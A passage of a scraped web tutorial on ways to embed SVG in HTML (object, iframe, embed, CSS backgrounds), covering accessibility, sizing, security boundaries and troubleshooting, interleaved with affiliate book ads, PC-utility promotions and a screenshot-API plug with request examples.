href="https://www.amazon.com/dp/B0F446JZT1?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </div> </div> </div> </div> <h2><span class="ez-toc-section" id="Separate-document_embedding_with_and"></span>Separate-document embedding with <code><object></code>, <code><iframe></code>, and <code><embed></code><span class="ez-toc-section-end"></span></h2> <h3><code><object></code> with a fallback</h3> <p>Use <code><object></code> when the SVG should be a separate document but you still want fallback content if it cannot load.</p> <pre><code><object type="image/svg+xml" data="diagram.svg" width="500" height="300" > <img src="diagram-fallback.png" alt="Process diagram"> </object></code></pre> <p>The nested image is fallback content, not a second copy displayed at the same time. Interaction and scripting are governed by the separate document context and the browser’s security rules.</p> <h3><code><iframe></code> when isolation matters</h3> <p>An iframe gives the SVG its own browsing context. This is useful when you want a clear boundary or need sandbox controls.</p><div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style1" data-ym-phase="3" data-ym-p3-surface="inline_after_12_style1" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-inline_after_12_style1-multi-876392-760cbe01b0"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><p class="dyn-kna33o-kicker">Recommended Free Tools</p><div class="dyn-kna33o-style1-grid"><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style1" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_12_style1" data-ym-p3-impression="p3-itechguides-inline_after_12_style1-pc_fix-876392-d3212da6f9" class="dyn-kna33o-promo-column dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><h3 class="dyn-kna33o-promo-title">PC Slower Than It Used to Be?</h3><span class="dyn-kna33o-promo-button">Run a Free PC Scan →</span><span class="dyn-kna33o-chip">Free scan · Windows 10 & 11</span></a><div class="dyn-kna33o-promo-divider"></div><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_style1" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_after_12_style1" data-ym-p3-impression="p3-itechguides-inline_after_12_style1-driver-876392-bbfb52c569" class="dyn-kna33o-promo-column dyn-kna33o-driver-update" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg></span><h3 class="dyn-kna33o-promo-title">Outdated Drivers Are Slowing You Down</h3><span class="dyn-kna33o-promo-button">Scan My Drivers Free →</span><span class="dyn-kna33o-chip">Free scan · exact hardware match</span></a><div class="dyn-kna33o-promo-divider"></div><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style1" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_12_style1" data-ym-p3-impression="p3-itechguides-inline_after_12_style1-pc_fix-876392-6220076084" class="dyn-kna33o-promo-column dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><h3 class="dyn-kna33o-promo-title">Windows Errors? Fix Them Before They Spread</h3><span class="dyn-kna33o-promo-button">Fix My PC Now →</span><span class="dyn-kna33o-chip">Free scan · no reinstall</span></a></div></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" rel="nofollow noopener">Privacy policy</a>.</div> <pre><code><iframe src="diagram.svg" width="500" height="300" title="Process diagram" sandbox ></iframe></code></pre> <p>Always provide a meaningful <code>title</code>. A cross-origin frame cannot be inspected or modified directly by the parent page’s JavaScript. The <code>sandbox</code> attribute changes what the embedded context may do; add permissions only when the document requires them.</p> <h3><code><embed></code> for legacy or general external content</h3> <pre><code><embed src="diagram.svg" type="image/svg+xml" width="500" height="300" title="Process diagram" ></code></pre> <p><code><embed></code> has less useful fallback behavior than <code><object></code>. Choose it only when an existing integration or target browser specifically calls for it; otherwise an image, inline SVG, object, or iframe communicates intent more clearly.</p> <div class="yorker-box ym-aawp-phase2-box"><h5>Rank #3</h5> <div class="aawp"> <div class="aawp-product aawp-product--horizontal aawp-product--ribbon aawp-product--sale" data-aawp-product-id="1636100007" data-aawp-product-title="HTML and CSS QuickStart Guide The Simplified Beginners Guide to Developing a Strong Coding Foundation Building Responsive Websites and Mastering .. Coding & Programming - QuickStart Guides" data-aawp-geotargeting="true"> <span class="aawp-product__ribbon aawp-product__ribbon--sale">Sale</span> <div class="aawp-product__thumb"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/1636100007?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/51JT5GCQS0L._SL160_.jpg" alt="HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)" /> </a> </div> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1636100007?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)" rel="nofollow noopener sponsored" target="_blank"> HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides) </a> <div class="aawp-product__description"> </div> </div> <div class="aawp-product__footer"> <div class="aawp-product__pricing"> <span class="aawp-product__price aawp-product__price--current">$23.25</span> </div> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" href="https://www.amazon.com/dp/1636100007?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </div> </div> </div> </div> <h2><span class="ez-toc-section" id="CSS_background_SVGs_are_for_decoration"></span>CSS background SVGs are for decoration<span class="ez-toc-section-end"></span></h2> <pre><code>.hero { background-image: url("hero-pattern.svg"); background-repeat: no-repeat; background-size: cover; background-position: center; }</code></pre> <p>A background is appropriate for a pattern, texture, or purely decorative flourish. It has no normal <code>alt</code> channel. If the visual carries information, provide the same information in text or use an accessible image/inline approach. Because the SVG is processed as an image, scripts and links inside it do not run.</p> <h2><span class="ez-toc-section" id="Make_SVGs_accessible"></span>Make SVGs accessible<span class="ez-toc-section-end"></span></h2> <ul> <li><strong>Content image:</strong> give <code><img></code> meaningful <code>alt</code> text that states the image’s purpose.</li> <li><strong>Decorative image:</strong> use an empty <code>alt</code> on <code><img></code>, or keep the SVG as a CSS background when no information is lost.</li> <li><strong>Inline graphic:</strong> put <code><title></code> immediately after the opening <code><svg></code>. Add <code><desc></code> for a longer explanation and connect them with <code>aria-labelledby</code>.</li> <li><strong>Embedded document:</strong> label an iframe with <code>title</code>; give object or embed content an equivalent accessible label and fallback where possible.</li> <li><strong>Interactive control:</strong> expose the control’s name and state through the surrounding button or link as well as the visual SVG.</li> </ul> <p>Do not rely on color alone to communicate a state. Pair color changes with text, shape, or an accessible state exposed by the control.</p><div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style8" data-ym-phase="3" data-ym-p3-surface="inline_after_16_style8" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-inline_after_16_style8-multi-876392-2ad7c60e5b"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><p class="dyn-kna33o-steps-head">Do these 3 things before closing this tab:</p><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style8" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_16_style8" data-ym-p3-impression="p3-itechguides-inline_after_16_style8-pc_fix-876392-04a97f3f3c" class="dyn-kna33o-step-row dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-step-num">1</span><span class="dyn-kna33o-step-text">Repair Windows errors before they cause bigger problems</span><span class="dyn-kna33o-go"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M5 12h14M12 5l7 7-7 7"/></svg></span></a><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_style8" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_after_16_style8" data-ym-p3-impression="p3-itechguides-inline_after_16_style8-driver-876392-a7f51154c5" class="dyn-kna33o-step-row dyn-kna33o-driver-update" data-wpel-link="internal"><span class="dyn-kna33o-step-num">2</span><span class="dyn-kna33o-step-text">Scan for outdated or missing drivers - takes under a minute</span><span class="dyn-kna33o-go"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M5 12h14M12 5l7 7-7 7"/></svg></span></a><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style8" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_16_style8" data-ym-p3-impression="p3-itechguides-inline_after_16_style8-pc_fix-876392-9921795688" class="dyn-kna33o-step-row dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-step-num">3</span><span class="dyn-kna33o-step-text">Clear out junk files and repair common Windows errors</span><span class="dyn-kna33o-go"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M5 12h14M12 5l7 7-7 7"/></svg></span></a></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" rel="nofollow noopener">Privacy policy</a>.</div> <h2><span class="ez-toc-section" id="Control_dimensions_and_responsive_behavior"></span>Control dimensions and responsive behavior<span class="ez-toc-section-end"></span></h2> <p>Use a <code>viewBox</code> on inline SVGs so the drawing has a scalable coordinate system. Set the rendered width and height with CSS or attributes. For external images, matching <code>width</code> and <code>height</code> attributes reserve the aspect-ratio box before the file arrives.</p> <pre><code>.diagram { display: block; width: 100%; height: auto; max-width: 700px; } <img class="diagram" src="diagram.svg" alt="System flow" width="700" height="420"></code></pre> <p>For object, iframe, and embed, set both dimensions explicitly because the element is a rectangular viewport. If the artwork itself has a different ratio, choose dimensions that match its <code>viewBox</code> or expect empty space or clipping. Test narrow viewports and zoom levels rather than assuming a desktop size will remain usable.</p> <h2><span class="ez-toc-section" id="Security_and_document_boundaries"></span>Security and document boundaries<span class="ez-toc-section-end"></span></h2> <p>Inline SVG shares the host HTML context. Treat inline markup as page code: only include files you trust, and avoid inserting untrusted SVG strings with <code>innerHTML</code>. In <code><img></code> and CSS background contexts, SVG is processed as an image, so scripts do not run and links are not activated. Object, iframe, and embed load a separate SVG document; same-origin policy, sandboxing, and browser restrictions determine what can execute or be accessed. Cross-origin iframe DOM access is restricted by design.</p> <div class="yorker-box ym-aawp-phase2-box"><h5>Rank #4</h5> <div class="aawp"> <div class="aawp-product aawp-product--horizontal aawp-product--ribbon aawp-product--sale" data-aawp-product-id="1118907442" data-aawp-product-title="Web Design with HTML CSS JavaScript and jQuery Set" data-aawp-geotargeting="true"> <span class="aawp-product__ribbon aawp-product__ribbon--sale">Sale</span> <div class="aawp-product__thumb"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/1118907442?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="Web Design with HTML, CSS, JavaScript and jQuery Set" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/41X2i47NXUL._SL160_.jpg" alt="Web Design with HTML, CSS, JavaScript and jQuery Set" /> </a> </div> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1118907442?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="Web Design with HTML, CSS, JavaScript and jQuery Set" rel="nofollow noopener sponsored" target="_blank"> Web Design with HTML, CSS, JavaScript and jQuery Set </a> <div class="aawp-product__description"> <ul><li>Brand: Wiley</li><li>Set of 2 Volumes</li><li>A handy two-book set that uniquely combines related technologies Highly visual format and accessible language makes these books highly effective learning tools Perfect for beginning web designers and front-end developers</li></ul> </div> </div> <div class="aawp-product__footer"> <div class="aawp-product__pricing"> <span class="aawp-product__price aawp-product__price--current">$35.05</span> </div> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" href="https://www.amazon.com/dp/1118907442?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </div> </div> </div> </div> <p>If an SVG needs document-level behavior, choose a separate-document method deliberately and review the origin and sandbox settings. If it only needs to be displayed, image mode is the narrower and simpler behavior.</p><div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style10" data-ym-phase="3" data-ym-p3-surface="inline_after_20_style10" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-inline_after_20_style10-multi-876392-9cf91773b9"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><p class="dyn-kna33o-dark-head">Free tools Windows power users keep installed</p><p class="dyn-kna33o-dark-sub">One-click scans. No signup required.</p><div class="dyn-kna33o-dark-btns"><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style10" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_20_style10" data-ym-p3-impression="p3-itechguides-inline_after_20_style10-pc_fix-876392-b9bd0030e2" class="dyn-kna33o-dark-btn dyn-kna33o-pc-fix" data-wpel-link="internal"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg><span>Clean & speed up →</span></a><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_style10" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_after_20_style10" data-ym-p3-impression="p3-itechguides-inline_after_20_style10-driver-876392-95a97f8796" class="dyn-kna33o-dark-btn dyn-kna33o-driver-update" data-wpel-link="internal"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg><span>Update all drivers →</span></a><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style10" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_20_style10" data-ym-p3-impression="p3-itechguides-inline_after_20_style10-pc_fix-876392-db94cf0ffb" class="dyn-kna33o-dark-btn dyn-kna33o-pc-fix" data-wpel-link="internal"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg><span>Fix Windows issues →</span></a></div></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" rel="nofollow noopener">Privacy policy</a>.</div> <h2><span class="ez-toc-section" id="Common_problems_and_fixes"></span>Common problems and fixes<span class="ez-toc-section-end"></span></h2> <h3>The SVG is blank</h3> <ul> <li>Check the URL and network response for a 404 or blocked request.</li> <li>Open the SVG file directly and confirm it contains visible shapes.</li> <li>For inline markup, verify the <code>viewBox</code> coordinates include the artwork and that a CSS rule has not set <code>width: 0</code>, <code>height: 0</code>, or <code>display: none</code>.</li> <li>For iframe or object, give the element non-zero dimensions.</li> </ul> <h3>It appears stretched or clipped</h3> <p>Compare the drawing’s <code>viewBox</code> ratio with the CSS or attribute dimensions. Preserve the intended ratio, then adjust the box or the SVG’s preserve-aspect behavior rather than distorting the artwork.</p> <h3>CSS or JavaScript cannot reach paths</h3> <p>You are probably using <code><img></code> or a CSS background. Switch to inline SVG for page-level DOM access, or place the code inside the separate SVG document and communicate with it according to same-origin rules.</p> <h3>The accessible name is missing</h3> <p>Check that an image has the correct <code>alt</code>, that an inline SVG’s IDs in <code>aria-labelledby</code> exactly match its <code><title></code> and optional <code><desc></code>, and that an iframe has a descriptive <code>title</code>.</p> <h3>The fallback never appears</h3> <p>Fallback markup is a feature of <code><object></code>, not a general behavior of <code><img></code>, <code><iframe></code>, or <code><embed></code>. Put a fallback image or text inside the object element and test with the SVG URL unavailable.</p><div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style2" data-ym-phase="3" data-ym-p3-surface="inline_after_24_style2" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-inline_after_24_style2-multi-876392-f2d63872a0"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_style2" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_after_24_style2" data-ym-p3-impression="p3-itechguides-inline_after_24_style2-driver-876392-6067f594d8" class="dyn-kna33o-bulletin dyn-kna33o-driver-update" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="22" height="22" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg></span><span class="dyn-kna33o-bulletin-main"><span class="dyn-kna33o-bulletin-line">Recommended: Crashes or Glitches? A Free Driver Scan Usually Finds the Culprit →</span><span class="dyn-kna33o-bulletin-meta">Free scan · under a minute</span></span><span class="dyn-kna33o-go"><svg viewBox="0 0 24 24" width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M5 12h14M12 5l7 7-7 7"/></svg></span></a><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style2" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_24_style2" data-ym-p3-impression="p3-itechguides-inline_after_24_style2-pc_fix-876392-d9c47fcd3e" class="dyn-kna33o-bulletin dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="22" height="22" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><span class="dyn-kna33o-bulletin-main"><span class="dyn-kna33o-bulletin-line">Recommended: Fix Windows Errors and Clear Junk Files in Minutes - Free Scan →</span><span class="dyn-kna33o-bulletin-meta">Free scan · no reinstall</span></span><span class="dyn-kna33o-go"><svg viewBox="0 0 24 24" width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M5 12h14M12 5l7 7-7 7"/></svg></span></a></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" rel="nofollow noopener">Privacy policy</a>.</div> <div class="yorker-box ym-aawp-phase2-box"><h5>Best Value</h5> <div class="aawp"> <div class="aawp-product aawp-product--horizontal aawp-product--ribbon aawp-product--sale" data-aawp-product-id="1394164688" data-aawp-product-title="HTML CSS & JavaScript All-in-One For Dummies" data-aawp-geotargeting="true"> <span class="aawp-product__ribbon aawp-product__ribbon--sale">Sale</span> <div class="aawp-product__thumb"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/1394164688?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="HTML, CSS, & JavaScript All-in-One For Dummies" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/51rbZQQXlNL._SL160_.jpg" alt="HTML, CSS, & JavaScript All-in-One For Dummies" /> </a> </div> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1394164688?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="HTML, CSS, & JavaScript All-in-One For Dummies" rel="nofollow noopener sponsored" target="_blank"> HTML, CSS, & JavaScript All-in-One For Dummies </a> <div class="aawp-product__description"> </div> </div> <div class="aawp-product__footer"> <div class="aawp-product__pricing"> <span class="aawp-product__price aawp-product__price--current">$23.27</span> </div> <a class="aawp-button aawp-button--buy aawp-button aawp-button--amazon aawp-button--icon aawp-button--icon-amazon-black ym-phase2-top-cta" href="https://www.amazon.com/dp/1394164688?tag=itechguides04-20&linkCode=ogi&th=1&psc=1" title="Buy on Amazon" target="_blank" rel="nofollow noopener sponsored">Buy on Amazon</a> </div> </div> </div> </div> <!-- YM_DONATION_SCOPE_KOFI_20260610A --><a class="ym-donation-kofi" href="https://ko-fi.com/yorkermedia" target="_blank" rel="noopener nofollow" aria-label="Support this site"><span class="ym-donation-kofi__body"><span class="ym-donation-kofi__eyebrow">Independent reader support</span><span class="ym-donation-kofi__text">Your contribution helps us test, update, and keep practical guides available for everyone.</span></span><span class="ym-donation-kofi__button">Support on Ko-Fi</span></a><h2><span class="ez-toc-section" id="Performance_and_maintenance_choices"></span>Performance and maintenance choices<span class="ez-toc-section-end"></span></h2> <ul> <li>Use external <code><img></code> files for repeated, non-interactive artwork so the browser can cache one resource across pages.</li> <li>Inline only what needs DOM access; large inline illustrations increase every HTML response and can complicate templates.</li> <li>Set dimensions early to reduce layout shifts while external files load.</li> <li>Keep decorative backgrounds out of the accessibility tree by ensuring equivalent information is available elsewhere.</li> <li>Use one method consistently for a component. Switching between inline and image mode changes whether CSS, JavaScript, links, and accessibility metadata work.</li> </ul> <h2><span class="ez-toc-section" id="Or_skip_the_browser_setup"></span>Or skip the browser setup<span class="ez-toc-section-end"></span></h2> <p>If your goal is to obtain a screenshot of a page containing SVG rather than integrate the SVG into your markup, <a href="https://screenshotneo.com">ScreenshotNeo</a> returns a PNG, JPEG, WebP, or PDF from one request. It accepts cookie and consent banners before capture, removes more than 60 known consent platforms plus newsletter popups and chat widgets, and lets you turn each cleanup step off. Bot checks, CAPTCHAs, blank pages, timeouts, failed loads, and cache hits are not billed; response headers identify the page verdict and whether the request was billed.</p> <p>See the <a href="https://screenshotneo.com/docs/">ScreenshotNeo API documentation</a> for all options, including full-page capture, element selectors, dark mode, device presets, custom CSS and JavaScript, waits, request blocking, cookies, headers, geolocation, PDF settings, caching, signed links, asynchronous jobs, bulk capture, and usage reporting.</p> <h3>cURL</h3> <pre><code>curl -G "https://api.screenshotneo.com/v1/shot" -d access_key=YOUR_API_KEY --data-urlencode url=https://example.com/svg-demo -o shot.webp</code></pre> <h3>Python</h3> <pre><code>import requests r = requests.get("https://api.screenshotneo.com/v1/shot", params={"access_key": "YOUR_API_KEY", "url": "https://example.com/svg-demo"}, timeout=90) r.raise_for_status() open("shot.webp", "wb").write(r.content)</code></pre> <h3>Node.js</h3> <pre><code>const q = new URLSearchParams({ access_key: 'YOUR_API_KEY', url: 'https://example.com/svg-demo' }); const res = await fetch(`https://api.screenshotneo.com/v1/shot?${q}`); if (!res.ok) throw new Error(`Screenshot failed: ${res.status}`); const fs = await import('node:fs/promises'); await fs.writeFile('shot.webp', Buffer.from(await res.arrayBuffer()));</code></pre> <p>ScreenshotNeo also provides an MCP server with <code>take_screenshot</code>, <code>get_page_info</code>, and <code>capture_pdf</code> tools for Claude, Cursor, and other MCP clients. The Free plan includes 1,000 shots per month without a card; paid plans start at $5 for 3,000 shots, and every feature is available on every plan. <a href="https://screenshotneo.com/account/sign-up/">Create a free ScreenshotNeo account</a> to start.</p> <h2><span class="ez-toc-section" id="FAQ"></span>FAQ<span class="ez-toc-section-end"></span></h2> <h3>Can I use an inline SVG inside a button?</h3> <p>Yes. Keep the button’s accessible name on the button itself, and treat the SVG as supporting artwork. If the icon is the only visible content, provide an accessible button label rather than relying on the path geometry or color.</p><div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style11" data-ym-phase="3" data-ym-p3-surface="inline_after_28_style11" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-inline_after_28_style11-multi-876392-fb6dd932a1"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><span class="dyn-kna33o-flag">Worth Installing</span><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_style11" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_after_28_style11" data-ym-p3-impression="p3-itechguides-inline_after_28_style11-driver-876392-dda1b850bf" class="dyn-kna33o-spot dyn-kna33o-driver-update" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="30" height="30" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg></span><span class="dyn-kna33o-spot-body"><h3 class="dyn-kna33o-spot-title">Outdated Drivers Are Slowing You Down</h3><span class="dyn-kna33o-spot-name">Outbyte Driver Updater · free</span><span class="dyn-kna33o-spot-benefit">One free scan finds every outdated or missing driver and matches the right update for your exact hardware.</span><span class="dyn-kna33o-spot-meta"><span class="dyn-kna33o-chip">Free scan · exact hardware match</span></span></span><span class="dyn-kna33o-pill">Scan My Drivers Free →</span></a></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" 